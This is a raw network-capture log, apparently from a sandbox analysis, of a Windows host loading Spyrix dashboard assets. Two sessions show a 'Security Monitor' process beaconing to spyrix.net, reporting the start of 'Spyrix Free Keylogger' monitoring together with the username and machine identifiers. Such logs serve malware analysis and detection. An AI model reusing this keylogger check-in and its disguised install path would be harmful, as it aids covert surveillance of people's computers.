2024-10-02 04:13:04 UTC	4096	IN	Data Raw: 8b 2d 53 db 5c 99 a1 48 5a 4b c7 98 f7 34 1c e7 d3 40 75 8f 32 34 13 91 e3 40 f2 a9 7e 9d ab a2 8e c4 5d 5e 14 a5 5a 55 0f 24 42 52 5d d1 42 58 90 c9 33 12 b7 0e 16 89 2f 80 11 1a c4 ca 8b 54 c6 ca 7f 54 75 37 ce 18 8a 31 a1 f8 74 50 c7 73 f7 b8 fe b2 95 54 82 88 75 0c e9 13 aa fd 22 3c 93 a1 d7 a2 2e 7e 59 ba 75 08 51 17 12 10 25 5a f8 a8 12 bf bc c1 d1 26 28 38 1b 82 f3 79 05 a2 7b 16 fd 93 52 fc 0e c5 60 10 f2 ba a9 2d a2 af 6a 6c c7 4a f7 14 a6 64 c1 14 56 56 89 35 2c 84 89 35 f5 37 ee 40 ff 0d 57 af c6 13 ee 0f f1 f6 16 24 ed a2 76 81 6b e8 50 dd 5a ff a6 d5 b8 37 c2 e8 64 a2 59 2d 09 0e d8 de da 38 13 16 d9 06 55 17 a6 df d5 d6 c6 c3 d6 1b cb 02 12 fe e1 79 80 60 0d 4c 31 67 37 eb 7c c6 95 3a d1 c4 55 c1 bc 04 b3 75 18 ac af 8f 61 ee f1 7b 81 0e cc Data Ascii: -S\HZK4@u24@~]^ZU$BR]BX3/TTu71tPsTu"<.~YuQ%Z&(8y{R`-jlJdVV5,57@W$vkPZ7dY-8Uy`L1g7\|:Uua{
2024-10-02 04:13:04 UTC	4096	IN	Data Raw: 3d 3a 7c 83 6d ae 34 bf 29 a1 69 51 e5 be 9e 5b e0 00 79 d8 63 8b 90 47 c0 7f 3a ab 1e 54 0d ba 67 21 dc e2 05 4e 93 17 3e 01 96 fb 78 f6 49 72 c0 d9 11 59 fe 7c e6 94 44 1f cf 22 ca d3 a7 03 e6 18 ca ac 54 c6 fa 61 2c 29 26 2e 35 dc 3e 38 30 4b 5f 28 7f 5c ed b2 7b 46 69 ed de 2e f7 b4 f6 9c 5b 1c ba ea ee 7d 81 20 77 05 b5 4b 7b bf 76 6f 97 0f be df 75 03 b5 01 ac 5c 6b 04 2b 05 56 b1 de c6 5d f2 cd 69 76 83 36 c2 67 a0 be 21 f8 0f 51 ce 6b 3f 9c bb 91 7a 92 1e ec 3b e3 01 a4 e7 c6 e9 e6 dd 98 ce 97 6c 46 d8 f7 91 b5 b4 c2 46 78 cb 3a c9 73 4b 2e f2 eb e3 0a a0 72 38 6f c3 1d 6f ca 76 27 6a c6 51 84 cd 99 d7 7c bc f4 63 cd 61 c3 85 d5 aa 4a 78 fa 0c 63 a3 24 79 d7 f6 a5 0e d2 ce c4 f9 2f 2d 03 32 9a 02 da 3e 16 dd 4b 7f ec d7 4b be 16 32 8f bf c3 ad 2f Data Ascii: =:\|m4)iQ[ycG:Tg!N>xIrY\|D"Ta,)&.5>80K_(\{Fi.[} wK{vou\k+V]iv6g!Qk?z;lFFx:sK.r8oov'jQ\|caJxc$y/-2>KK2/
2024-10-02 04:13:04 UTC	2044	IN	Data Raw: aa f2 eb ab 5a c5 49 37 fb a1 69 29 36 ae 8d 78 a5 87 b2 9b 7b f9 69 6d 97 4e 92 4f 98 32 51 a2 48 71 29 43 38 5a 2e 00 82 9a 2f e2 3d 03 71 71 76 18 b8 2c e2 96 ee d2 23 04 8c 89 2f c8 8e 68 df f2 ab af cf bc df 7a be 4f 7e 75 a6 4c 80 44 f2 c9 f8 4f fc 2c f1 27 01 61 dc e2 23 f0 2e c5 a4 3e 46 1c 68 49 48 eb fa a9 fa f6 1a c0 7b 46 fc 09 60 4b 3e 1d 97 24 f9 a6 4f 4e 7d b1 cb 16 da 58 2b 46 80 fd bc f9 09 04 6b dd b0 f9 3d 98 59 13 a5 b3 6b 02 fb 67 9f f8 1b 00 86 7c 5a b2 59 3f 51 2f 16 69 2e 34 f1 fd 7e 42 74 25 17 d7 73 82 0d 74 71 70 8a 51 58 17 a5 0c df ba 38 dd 57 d8 04 17 ef f7 b1 c9 eb e2 d5 69 f2 dc 95 9c 12 66 6a 75 4e 93 1f dd c5 8c 30 06 95 5c 0c 92 3d bb 58 9e e2 d1 94 63 fa a5 a9 9c 2f bd 3a 5c e1 9d 8e a3 69 5b 70 6e 0a 7c f3 d7 3a 90 d1 Data Ascii: ZI7i)6x{imNO2QHq)C8Z./=qqv,#/hzO~uLDO,'a#.>FhIH{F`K>$ON}X+Fk=Ykg\|ZY?Q/i.4~Bt%stqpQX8WifjuN0\=Xc/:\i[pn\|:
2024-10-02 04:13:04 UTC	4096	IN	Data Raw: 35 38 30 30 0d 0a c3 0a ce 07 92 c4 29 de aa 56 c9 f3 30 ec 61 70 eb 2b 0e 05 89 cc 87 7a a9 8a 19 b3 88 d6 cb fa 35 ab 97 0d 6a b6 3a 28 b5 e9 df 9b f1 9e 83 d7 1d 2c cf 7d 23 04 73 0c 99 f5 b7 0c cb 1a 35 59 d9 c3 c0 12 41 b2 34 25 e6 9a 84 ac f9 0f e0 8d 9d f4 b0 f3 4c 5d 1b 8a 20 35 16 74 a0 74 ac dc 1c 9d f1 de ea 0e 58 dd b1 33 97 2c da 10 01 00 58 12 e6 ca c2 51 b7 e3 8f 63 45 7e b9 68 75 04 a6 6c c0 87 1e d9 55 ca 22 40 46 10 2b b8 8f 4a 63 71 74 0e b5 6b 04 92 69 06 c0 68 42 67 82 83 7e e1 43 0a b7 35 8b 61 34 8d 8e ed 23 30 0a 29 a5 03 72 7c 49 4e b5 15 47 8c 5a 3c 0d 67 bf 2c 59 a3 d7 1a 86 a0 e1 82 fc 65 7e b5 f8 8e 09 59 67 06 02 30 6b c5 74 c4 04 b1 06 78 a2 55 54 db 17 8c 34 5a ac 08 01 a8 89 6f 4e 81 dd 2e c4 a1 70 62 57 78 d0 d7 17 b5 0a Data Ascii: 5800)V0ap+z5j:(,}#s5YA4%L] 5ttX3,XQcE~hulU"@F+JcqtkihBg~C5a4#0)r\|INGZ<g,Ye~Yg0ktxUT4ZoN.pbWx
2024-10-02 04:13:04 UTC	4096	IN	Data Raw: 3a 37 33 09 77 6e 3a a6 5b 4a f9 74 b7 18 d7 99 c4 0b be 6b 27 61 16 65 5a c6 07 fe 32 c1 b0 d9 99 8e 14 67 78 07 d3 42 a7 0e b3 f2 4a b5 ca 8c a2 22 c0 33 23 38 4c eb d2 5d 3c 30 3b c7 64 9d b9 15 6d dd 3e 01 f8 e5 4e 0f 7d a7 ff 06 96 e0 e2 ff 6d bf 87 7c de f0 2c 7f fc 58 b4 ef e8 19 56 28 fd 6a c6 b5 09 b3 9c bb 9a f0 79 fe f4 45 e7 ea f8 3c 3f 81 8f a5 78 1b 3c 90 04 1e 6f 47 f8 22 4c 98 be 68 6a b4 5d 40 8b 98 b1 f3 d2 59 d7 f4 18 da 3b 6c b7 64 67 17 98 dd b2 5b e5 ba 5f 88 55 38 d2 88 d0 0f ba 46 f0 c8 a9 6d c3 39 42 2c 10 08 19 52 cd fe b1 37 ff 37 8b b5 67 49 2b 82 05 1a 6a ac 70 08 57 88 02 66 b1 98 af 73 78 77 44 1f 44 03 20 f6 1c a0 18 fa a0 f2 82 95 6f cf ab e7 2e 9a d9 65 8d 41 32 f0 03 7b c2 b8 de ce 6d 58 6f 0b a1 0e 9b 05 00 1e 01 56 5b Data Ascii: :73wn:[Jtk'aeZ2gxBJ"3#8L]<0;dm>N}m\|,XV(jyE<?x<oG"Lhj]@Y;ldg[_U8Fm9B,R77gI+jpWfsxwDD o.eA2{mXoV[
2024-10-02 04:13:04 UTC	4096	IN	Data Raw: a2 45 de 2b 44 9d 6a 3d 14 00 84 06 42 6f 38 a8 2a ff 21 6c 41 cf dc 7c 44 8e c3 4e 49 c4 b4 fe 7c 43 00 69 5a b6 cf e5 a3 87 df fc 95 d5 b6 69 81 af e9 90 2a 18 29 18 ba 4d ee 34 a7 ea 88 0e e8 5e e9 22 d6 25 85 f5 19 cb c0 46 b8 ff a3 bf 03 5f 87 80 35 d8 8c 6d 2e ff 81 1a 24 c9 31 c0 63 86 4f 3e e7 0a 68 70 2f d1 f9 99 54 f4 e5 3c 89 41 2c 45 47 ad 4c 26 12 8c 9c 16 59 4c fe 58 cb af 15 08 b1 0f 48 a1 46 e9 00 0c 22 a0 15 0e 51 a7 7e 87 e1 79 11 9e e2 cb 90 f6 d6 ba f1 f8 08 ba 49 d4 8f 57 ec 37 af d8 df 10 8e bc a6 0f f7 a4 13 0f 03 54 46 d9 39 e5 7d ac 3c cc 16 0c 8c 82 1d f8 73 c7 93 67 70 5d 05 14 13 bf ab 71 29 4b c0 6c bb ca e1 88 1e cd ea 5a da b6 28 be a3 81 72 d4 9b a9 fc 4c f4 16 5e cb 92 3c 62 44 0c f2 42 50 17 92 5e 57 37 fe af e2 90 43 ce Data Ascii: E+Dj=Bo8!lA\|DNI\|CiZi)M4^"%F_5m.$1cO>hp/T<A,EGL&YLXHF"Q~yIW7TF9}<sgp]q)KlZ(rL^<bDBP^W7C
2024-10-02 04:13:04 UTC	4096	IN	Data Raw: 09 62 52 3b 66 45 bb dd d4 ce c0 b2 d6 1d 53 b1 36 2f bc 0d 5b 91 14 38 9c 06 58 61 18 ae e0 c3 15 b1 8b 74 e6 e2 cf 51 b4 33 68 47 39 87 97 56 3a 46 87 83 fc 50 fa 6d e7 6d fd c3 56 42 69 ba 1b 45 2a b4 51 f0 b1 d5 a7 ec 59 64 02 8e 2e 69 58 3d 63 c5 8c f3 83 ad 99 8e 86 8b 26 8a 96 fb 0f aa 22 e8 42 c5 22 d4 c6 46 49 bc b1 32 89 30 02 05 83 90 0e 2c 88 21 8b 9e 19 58 de 51 20 7e dd 9a e4 f6 44 76 e7 4b df 50 9d e9 fa 37 5c 40 42 44 89 e1 3f fa 12 ca 69 02 9b a4 5b 5a e0 c6 85 a4 20 0b 04 4c ed 1c ef e5 6a 14 a1 42 52 36 43 40 c6 8c 62 a8 68 e7 8b 76 e4 01 9e ce a0 dd 7e 98 66 83 55 8f ec e0 48 1e d9 af 39 e5 70 b2 02 bf 19 f9 f8 b9 04 32 d4 95 44 79 df bf bf 2f cf 1b 01 f1 95 68 46 7c a0 d0 21 4e 21 bb ba 88 db 8c c6 e0 60 78 3a 98 10 ee 41 21 e4 38 4f Data Ascii: bR;fES6/[8XatQ3hG9V:FPmmVBiE*QYd.iX=c&"B"FI20,!XQ ~DvKP7\@BD?i[Z LjBR6C@bhv~fUH9p2Dy/hF\|!N!`x:A!8O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49740	158.69.117.119	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:05 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:05 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:05 GMT Content-Type: image/x-icon Content-Length: 3029 Last-Modified: Thu, 01 Feb 2024 09:41:29 GMT Connection: close ETag: "65bb6749-bd5" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:13:05 UTC	3029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b8 00 00 00 b8 08 06 00 00 00 50 33 26 c7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 21 37 00 00 21 37 01 33 58 9f 7a 00 00 00 18 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 31 2e 36 fd 4e 09 e8 00 00 0b 53 49 44 41 54 78 5e ed 9d ff 71 dc 46 12 85 15 82 43 b8 10 1c 82 43 b8 0c 4e 65 49 ae fb cf cc 40 ce 40 ce 60 c5 08 ec 0c 18 02 43 b8 10 18 02 6e 1a 9c 95 c6 d0 e3 6e 77 03 33 98 e9 79 5f d5 57 aa 6a 71 77 f1 e3 ed a0 31 00 c8 77 cb b2 b8 fd f5 b2 bc ff f8 75 59 28 ad 65 99 37 8f b0 a8 95 01 a7 b5 2d f3 e6 11 16 b5 32 e0 b4 b6 65 de 3c c2 a2 56 06 9c d6 b6 cc 9b 47 58 d4 ca 80 d3 da 96 79 f3 08 8b 5a 19 70 5a db 32 6f 1e 61 51 2b 03 Data Ascii: PNGIHDRP3&gAMAapHYs!7!73XztEXtSoftwarepaint.net 4.1.6NSIDATx^qFCCNeI@@`Cnnw3y_Wjqw1wuY(e7-2e<VGXyZpZ2oaQ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49739	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:05 UTC	626	OUT	GET /dashboard30/assets/en-08b2a987.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:05 UTC	403	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-69c5" Content-Encoding: gzip Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:04:41+00:00 X-Node: m9p-up-gc30
2024-10-02 04:13:05 UTC	3693	IN	Data Raw: 31 63 37 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 9d e9 6e dc 56 96 c7 bf cf 53 70 88 00 76 80 6b 61 d2 dd 98 1e b0 21 0c bc 24 8e 3b de e2 25 ee 04 03 a4 a9 2a 96 c4 36 8b ac 90 2c c9 4a 90 07 9a d7 98 27 9b df ff dc 7b 49 d6 22 c9 4b e2 76 3a fe 22 f1 ee db d9 cf b9 b7 66 4d dd f5 49 71 98 de 5c f7 cd aa ca cf 53 d7 1c a6 4f 8a bc 6b ea d4 f5 87 e9 9d a2 9b b5 e5 aa 2f 95 ce 0f d3 a7 7d de af bb d4 95 7c ce da a2 a8 bb 93 a6 4f 5d 7d 98 3e ea 4f 8a 36 75 dd 61 fa bc d3 47 4b a7 ab 55 45 8f 33 b2 ea 97 75 73 46 17 d5 61 7a ab 6d ce ac c6 fc 30 bd 5d 95 ab a3 26 6f e7 a9 5b 1f a6 2f 8a a3 59 be 4c dd ca c6 69 e9 f7 fc 30 fd fc 55 c9 c7 f2 30 fd a6 9c 17 4d 5b cc 52 77 42 79 b3 ae e7 96 38 f6 e3 94 b3 dc 4f 72 71 98 3e 2b fb aa 48 dd a9 fa 6f 3a be ce 0e Data Ascii: 1c75nVSpvka!$;%*6,J'{I"Kv:"fMIq\SOk/}\|O]}>O6uaGKUE3usFazm0]&o[/YLi0U0M[RwBy8Orq>+Ho:
2024-10-02 04:13:05 UTC	3600	IN	Data Raw: b0 e9 23 23 25 16 dc 99 78 fd da 0b 49 c5 ab 15 8e 31 bf 98 ab 2a 85 9e a6 5c 67 5f 27 17 96 bb b2 46 2c 22 10 75 80 d0 79 83 91 58 46 bf e2 15 26 1d e9 6c 11 38 b7 4b 84 4f 6c 41 41 44 1f e1 3d 79 ad 46 3e 10 69 3e 88 0b bd 82 12 c2 c6 36 f5 18 b7 f2 66 8d a4 f0 12 a9 89 98 a7 d0 98 ae 0b 01 86 7b 32 11 68 2c d0 3b 43 2c a9 cd ad bd e5 16 bf b4 78 6c fd 90 b5 8c e0 c1 26 c4 76 5b 05 66 be 5f 15 84 a0 87 30 07 f9 5b 8c 24 9b e9 48 4c 1a 0f c4 65 15 8c 2a a1 2b b2 93 d8 5e 16 72 d9 c8 d3 0e 6a fb 1e 7c 5c 47 d8 c2 68 73 7a 66 ea e5 1b 34 c1 b0 1d 6d 78 59 29 35 db 9b c4 46 25 4e 76 50 26 bb 3f 7f 4f fd 05 34 c7 02 03 77 5a 84 12 cc 3c 04 b9 d4 85 b3 a0 e6 0c 47 c3 a0 88 5e 85 37 c1 33 f1 0e 98 77 51 0f 90 1d f3 49 d0 b5 87 26 ed 73 0c f1 bb b0 c8 0e 39 c8 Data Ascii: ##%xI1\g_'F,"uyXF&l8KOlAAD=yF>i>6f{2h,;C,xl&v[f_0[$HLe+^rj\|\Ghszf4mxY)5F%NvP&?O4wZ<G^73wQI&s9
2024-10-02 04:13:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49741	158.69.117.119	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:05 UTC	350	OUT	GET /cdn.js HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:05 UTC	344	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 987 Last-Modified: Mon, 30 Sep 2024 10:46:14 GMT Connection: close ETag: "66fa8176-3db" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:13:05 UTC	987	IN	Data Raw: 0a 63 6c 61 73 73 20 43 64 6e 20 7b 0a 20 20 5f 6d 61 78 43 6f 75 6e 74 65 72 20 3d 20 33 30 3b 0a 20 20 5f 69 6e 74 65 72 76 61 6c 20 3d 20 6e 75 6c 6c 3b 0a 20 20 5f 63 6f 75 6e 74 65 72 20 3d 20 30 3b 0a 0a 20 20 69 6e 69 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 27 63 64 6e 2d 6f 66 66 3d 30 27 3b 20 2f 2f d0 bf d0 be d1 82 d0 be d0 bc d1 83 20 d1 87 d1 82 d0 be 20 d0 ba d1 83 d0 ba d0 b0 20 d0 bf d0 b5 d1 80 d0 b5 d0 b1 d0 b8 d0 b2 d0 b0 d0 bb d0 b0 d1 81 d1 8c 20 d0 b8 20 d0 bd d0 b5 20 d0 bf d0 b5 d1 80 d0 b5 d0 b2 d0 be d0 b4 d0 b8 d0 bb d0 be 20 d0 bd d0 b0 20 d1 81 d0 b5 d1 80 d0 b2 d0 b5 d1 80 0a 20 20 20 20 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 20 3d 20 73 65 74 49 6e 74 65 72 76 61 6c 28 Data Ascii: class Cdn { _maxCounter = 30; _interval = null; _counter = 0; init() { // document.cookie = 'cdn-off=0'; // this._interval = setInterval(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49743	158.69.117.119	443	3444	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 420 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:13:06 UTC	420	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 4d 6f 6e 69 74 6f 72 69 6e 67 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 68 75 62 65 72 74 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 33 32 30 33 36 36 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 31 35 38 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 33 3a 30 34 2e 33 39 32 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 Data Ascii: &action=app:Monitoring:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:13:04.392&prg_lng=english&os_caption= ()&os_type=wind
2024-10-02 04:13:07 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:13:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49744	158.69.117.119	443	4008	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 413 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:13:06 UTC	413	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 52 75 6e 3a 46 69 72 73 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 68 75 62 65 72 74 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 33 32 30 33 36 36 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 31 35 38 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 33 3a 30 34 2e 36 35 37 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 6f 73 5f Data Ascii: &action=app:Run:First&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:13:04.657&prg_lng=english&os_caption= ()&os_type=windows&os_
2024-10-02 04:13:08 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:13:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49754	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	586	OUT	GET /dashboard30/assets/ConfirmPhoneModal-86d79a8a.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	303	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: text/css Content-Length: 2721 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-aa1" Cache: STALE X-Cached-Since: 2024-10-01T15:40:11+00:00 X-Node: m9-up-gc80 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	2721	IN	Data Raw: 2e 46 52 51 4a 53 77 32 37 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 3a 31 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 61 78 2d 77 69 64 74 68 3a 33 35 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 38 30 70 78 29 7b 2e 46 52 51 4a 53 77 32 37 7b 6d 61 78 2d 77 69 64 74 68 3a 39 35 25 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 7d 2e 4e 72 48 54 51 32 4a 4e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 76 61 72 28 2d 2d 73 68 61 Data Ascii: .FRQJSw27{display:flex;flex-direction:column;flex:1;justify-content:center;max-width:350px;width:100%}@media screen and (max-width: 480px){.FRQJSw27{max-width:95%;padding:15px}}.NrHTQ2JN{border-radius:10px;padding:30px;background:#fff;box-shadow:var(--sha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49747	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	640	OUT	GET /dashboard30/assets/Nunito-Regular-73dcaa51.woff2 HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: font/woff2 Content-Length: 44112 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-ac50" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T23:15:38+00:00 X-Node: m9-up-gc82 Accept-Ranges: bytes
